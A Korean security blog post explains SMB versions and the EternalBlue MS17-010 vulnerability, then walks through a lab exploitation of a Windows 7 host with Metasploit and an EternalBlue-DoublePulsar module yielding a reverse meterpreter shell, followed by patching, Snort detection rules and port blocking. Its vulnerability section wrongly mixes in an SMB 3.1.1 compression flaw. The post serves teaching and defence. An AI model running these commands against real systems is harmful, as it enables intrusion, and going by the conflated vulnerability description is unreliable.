1. SMB (Server Message Block)
- Common Internet File System, CIFS라고도 함
- 1990년에 도스, 윈도우, NT, OS/2, 유닉스 등 난잡했던 운영체제 간 자원 공유를 쉽게 해줄 목적으로 만들어짐
- 네트워크 상 존재하는 노드들 간에 자원을 공유할 수 있도록 설계된 프로토콜
- 주로 네트워크에 연결된 컴퓨터끼리 파일, 프린터, 포트 또는 기타 메시지를 전달하는데 사용
버전 | 설명 |
SMBv1 | - MS-DOS부터 Windows 10까지 존재하는 구식 프로토콜 - 보안을 고려하지 않고 만들어져, 윈도우 침투에 자주 악용하는 루트로 이용 - 보안 결함에도 불구하고 호환성 및 구현이 쉬워 NAS나 프린터 제작사들이 계속해서 SMBv1만 지원 |
SMBv2 | - 2006년 제작되어 Windows Vista부터 탑재 - 이전 버전과의 호환성은 전혀 없음 > Windows XP 이하의 운영체제에서는 사용할 수 없음 - 속도와 보안 모두 기존보다 월등 - 일반 사용자는 SMBv2로도 아직까지 충분 |
SMBv3 | - SMBv2에 속도 최적화 및 각종 기능을 추가한 것 - 2012년에 제작되어 Windows 8부터 탑재 - SMBv2와도 통신이 가능 - SQL 데이터 및 가상화 솔루션 간 파일 전송, 서버 클러스터 관리, 분산 전송을 통한 장애조치 등 데이터센터와 같은 서버 간 통신을 위한 것 |
2. 이터널블루 (EthernalBlue)
- 미 국가안보국(NSA)의 해킹 도구
- SMB 프로토콜의 원격코드 실행 취약점(MS17-010)을 이용
- 섀도우 브로커즈(Shadow Brokers) 해킹 그룹에 의해 유출
※ 더블펄서(DoublePulsar)는 이터널블루 익스플로잇에 의해 설치되며, 이미 감염된 시스템에서 악성코드 삽입 및 실행을 위한 백도어로, 워너크라이 랜섬웨어 공격에서 이터널블루와 함께 사용
3. 취약점
- MS SMB 프로토콜의 메모리 파괴 취약점으로, 인증을 거치지 않은 공격자가 원격에서 명령 실행이 가능
- OS가 SMB 3.1.1 프로토콜의 압축패킷을 처리하는 과정에서 발생하는 오류로 인해 발생하는 취약점
- 공격자는 조작된 패킷을 악용하여 원격에서 인증을 거치지 않은 상태로 원격코드 실행이 가능
- SMB 클라이언트를 공격해 특정한 웹페이지, 압축파일, 공유파일, office 문서 등을 조작하는 방식으로 취약점 트리거 가능
- 해당 취약점을 이용해 워너크라이 랜섬웨어를 유포
영향받는 버전
- Windows 10
- Windows 8.1
- Windows RT 8.1
- Windows 7
- Windows Server 2016
- Windows Server 2012 R2
- Windows server 2008 R2 SP1 SP2
취약점명 | CVE 번호 | MS 번호 |
Windows SMB 원격 코드 실행 취약점 | CVE-2017-0143 | MS17-010 |
CVE-2017-0144 | ||
CVE-2017-0145 | ||
CVE-2017-0146 | ||
CVE-2017-0147 |
3.1 실습
희생자 PC
- OS : Windows 7 Ultimate x64
- IP : 192.168.56.116
공격자 PC
- OS : Kali Linux
- IP : 192.168.56.102
- 희생자 PC에 SMB Port가 열려 있는지 확인
- 메타스플로잇 실행
service postgresql start
msfconsole
- ms17_010 모듈 실행 및 옵션 설정
- iso를 변경하면서 시도하였지만, NOT appear vulnerable이 확인
※ 아래부터 보고서를 기준으로 작성
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.56.116
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
- 취약한 서버일 경우 [+]로 정보가 표시
- EternalBlue를 설치하여, 메타스플로잇 프레임워크에 추가
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git
cd Eternalblue-Doublepulsar-Metasploit
cp eternalblue_doublepulsar.rb /usr/share/Metasploit-framework/modules/exploits/windows/smb/
- 이터널블루-더블펄서 모듈 실행
msfconsole
msf6 > use exploit/windows/smb/eternalblue_doublepulsar
msf6 exploit(windows/smb/eternalblue_doublepulsar) > show options
- 익스플로잇 전 대상의 아키텍처와 IP 등 옵션을 설정
옵션 | 설명 |
DOUBLEPULSARPATH | 더블펄서 경로 지정 |
ETERNALBLUEPATH | 이터널블루 경로 지정 |
PROCESSINJECT | 악성코드가 들어갈 프로세스 지정 x64는 lsass.exe 사용 |
RHOSTS | 공격 대상 IP |
RPORT | 445 (SMB Port) |
TARGETARCHITECTURE | 공격 대상 운영체제 버전 (x86, x64) |
WINEPATH | /root/.wine/drive_c/ |
Exploit target | 공격 대상 OS 설정 |
LHOST | 로컬 IP 주소 |
payload | 페이로드 생성 |
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set PROCESSINJECT lsass.exe
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set RHOSTS 192.168.56.116
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set TARGETARCHITECTURE x64
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set target 8
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set LHOST 192.168.56.102
- 익스플로잇 결과 피해 시스템으로부터 공격 시스템으로 세션이 설정
- 피해자 PC 정보 확인, 현재 경로 파일 확인, PC화면 캡쳐 등 악성 동작 수행 가능
※ /root/.wine/drive_c/eternal11.dll 관련 실패 메시지 발생 시 해당 경로에 디렉터리를 생성 ex) mkdir -p /root/.wine/drive_c/
3. 대응방안
3.1 서버측면
① OS 최신 보안 패치 적용
- 아래 링크에서 버전별 업데이트 적용
3.2 네트워크 측면
① 탐지 룰 적용
- 공개된 Snort 정보
alert smb any any -> $HOME_NET any (msg: "ATTACK [PTsecurity] Metasploit MS17-010 ETERNALCHAMPION. Non-Fragmented NT Trans Request with command NT Rename (CVE-2017-0146)"; flow: established, to_server; content: "|FF|SMB|A0|"; offset: 4; depth: 5; byte_extract: 4, 35, NTTrans.TotalDataCount, relative, little; byte_test: 4, =, NTTrans.TotalDataCount, 16, relative, little; content: "|05 00|"; distance: 25; within: 2; isdataat:300, relative; flowbits: set, EternalRomance.RaceCondition.Possible; flowbits: noalert; reference: cve, 2017-0146; reference: url, github.com/rapid7/metasploit-framework/commit/c9473f8cbc147fe6ff7fe27862fd3d1e9f27c4f5; reference: url, blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis; classtype: attempted-admin; reference: url, github.com/ptresearch/AttackDetection; sid: 10001717; rev: 2;)
alert smb $HOME_NET any -> any any (msg: "ATTACK [PTsecurity] NT Trans Response"; flow: established, from_server; content: "|FF|SMB|A0|"; offset: 4; depth: 5; flowbits: isset, EternalRomance.RaceCondition.Possible; flowbits: unset, EternalRomance.RaceCondition.Possible; flowbits: noalert; reference: cve, 2017-0146; reference: url, github.com/rapid7/metasploit-framework/commit/c9473f8cbc147fe6ff7fe27862fd3d1e9f27c4f5; reference: url, blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis; classtype: attempted-admin; reference: url, github.com/ptresearch/AttackDetection; sid: 10001718; rev: 1;)
alert smb any any -> $HOME_NET any (msg: "ATTACK [PTsecurity] Metasploit MS17-010 ETERNALCHAMPION Race Condition Exploit. NT Trans Secondary packet follows NT Trans Req (CVE-2017-0146)"; flow: established, no_stream, to_server; content: "|FF|SMB|A1|"; flowbits: isset, EternalRomance.RaceCondition.Possible; flowbits: set, EternalRomance.RaceCondition.Attempt; threshold: type both, track by_src, count 1, seconds 60; reference: cve, 2017-0146; reference: url, github.com/rapid7/metasploit-framework/commit/c9473f8cbc147fe6ff7fe27862fd3d1e9f27c4f5; reference: url, blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis; classtype: attempted-admin; reference: url, github.com/ptresearch/AttackDetection; sid: 10001719; rev: 1;)
alert smb $HOME_NET any -> any any (msg: "ATTACK [PTsecurity] Metasploit MS17-010 ETERNALCHAMPION Successful kernel data leak (CVE-2017-0146)"; flow: established, from_server; content: "|FF|SMB|A0|"; content: "Frag"; within: 115; flowbits: isset, EternalRomance.RaceCondition.Attempt; reference: cve, 2017-0146; reference: url, github.com/rapid7/metasploit-framework/commit/c9473f8cbc147fe6ff7fe27862fd3d1e9f27c4f5; reference: url, blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis; classtype: attempted-admin; reference: url, github.com/ptresearch/AttackDetection; sid: 10001720; rev: 1;)
alert smb any any -> $HOME_NET any (msg: "ATTACK [PTsecurity] Metasploit MS17-010 ETERNALROMANCE exploitation (CVE-2017-0143)"; flow: established, to_server; content: "|FF|SMB|A1|"; content: "|FF|SMB|A0|"; distance: 0; content: "|05 00|"; distance: 64; within: 2; content: "|FF|SMB|25|"; distance: 13; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; threshold: type both, track by_src, count 1, seconds 60; reference: cve, 2017-0143; reference: url, github.com/rapid7/metasploit-framework/commit/c9473f8cbc147fe6ff7fe27862fd3d1e9f27c4f5; reference: url, www.crowdstrike.com/blog/badrabbit-ms17-010-exploitation-part-one-leak-and-control; classtype: attempted-admin; reference: url, github.com/ptresearch/AttackDetection; sid: 10001723; rev: 1; )
② 네트워크 방화벽 및 윈도우 방화벽에서 SMB 관련 포트 차단
- SMB를 사용하지 않는 경우 방화벽에서 포트를 차단
프로토콜 | 포트번호 |
UDP | 137 |
138 | |
TCP | 139 |
445 |
3.3 기타
① 최신의 백신상태로 유지 및 실시간 감지모드를 이용하여 악성코드의 실행을 차단
4. 참고
- https://nvd.nist.gov/vuln/detail/CVE-2017-0143
- https://rjswn0315.tistory.com/153
- https://dailylearn.tistory.com/m/125
- https://learn.microsoft.com/ko-kr/security-updates/securitybulletins/2017/ms17-010
- https://github.com/ptresearch/AttackDetection/blob/master/MS17-010/ms17-010.rules
'취약점 > RCE' 카테고리의 다른 글
Joomla HTTP Header RCE (CVE-2015-8562) (0) | 2022.12.18 |
---|---|
Drupalgeddon2 (CVE-2018-7600) (0) | 2022.12.11 |
Confluence Server 및 Data Center RCE 취약점 (CVE-2022-26134) (0) | 2022.12.04 |
Apache Unomi RCE (CVE-2020-13942) (0) | 2022.12.02 |
Struts2 REST Plugin XStream RCE 취약점 (CVE-2017-9805) (0) | 2022.11.24 |